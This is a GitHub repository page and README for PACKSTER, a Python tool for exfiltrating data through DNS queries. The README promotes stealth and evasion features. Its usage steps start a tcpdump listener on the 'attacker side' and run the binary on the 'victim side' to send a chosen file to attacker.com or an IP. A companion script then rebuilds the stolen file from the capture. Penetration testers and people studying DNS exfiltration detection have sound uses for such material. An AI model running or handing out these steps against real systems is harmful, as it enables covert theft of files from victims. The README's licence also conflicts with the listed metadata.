https://github.com/sayan690/packster
A DNS Based Python Data Exfiltrator
https://github.com/sayan690/packster
dns exfiltration python
Last synced: about 1 year ago
JSON representation
A DNS Based Python Data Exfiltrator
- Host: GitHub
- URL: https://github.com/sayan690/packster
- Owner: Sayan690
- License: gpl-3.0
- Created: 2024-11-27T10:03:41.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-28T07:20:34.000Z (about 1 year ago)
- Last Synced: 2025-03-28T08:26:48.986Z (about 1 year ago)
- Topics: dns, exfiltration, python
- Language: Python
- Homepage:
- Size: 12 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# PACKSTER
## Overview
PACKSTER is a powerful exfiltration tool designed for demonstrating efficient data exfiltration and security testing. It allows for controlled and stealthy data exfiltration by utilizing DNS queries, making it a valuable tool for cybersecurity professionals and penetration testers.
## Features
- Fast and reliable data exfiltration
- Supports multiple transport methods
- Customizable payload handling
- Stealth mode for evasion techniques
- Logging and error handling for debugging
## Watch The Demo
[](https://www.youtube.com/watch?v=rXOXy-RJSDQ)
## Installation
### Prerequisites
Ensure you have Python installed on your system. PACKSTER requires Python 3.x.
### Clone The Repository
```bash
git clone https://github.com/Sayan690/packster.git
cd packster
```
### Get The [Release Binaries](https://github.com/Sayan690/Packster/releases/)
OR
### Compile It Locally
Requirements - pyinstaller
#### Clone The Repository
```bash
git clone https://github.com/Sayan690/packster.git
cd packster
```
#### Compile Using Pyinstaller
```bash
pyinstaller -F packety.py --icon=resources/packster.ico
```
### Install Dependencies
```bash
pip install -r requirements.txt
```
## Usage
To run PACKSTER, follow these steps:
- Start the listener on the attacker side
```bash
tcpdump -i any -w capture.pcap
```
- Transfer the [packster binary](https://github.com/Sayan690/Packster/releases/) to the victim side and execute
```bash
.\packster.exe -f C:\Path\To\File -a attacker.com
./packster.exe -f /Path/To/File -a 10.10.10.10
```
- After the process exits printing "done.", exit out from tcpdump, and run `filtrz.py`
```bash
python3 filtrz.py -a attacker.com -c capture.pcap -o output_file_name.txt
```
## Disclaimer
PACKSTER is intended for educational and security testing purposes only. The author is not responsible for any misuse of this tool.
## Author
Developed by **Sayan Ray** [@BareBones90](https://x.com/BareBones90)
## License
This project is licensed under the MIT License - see the LICENSE file for details.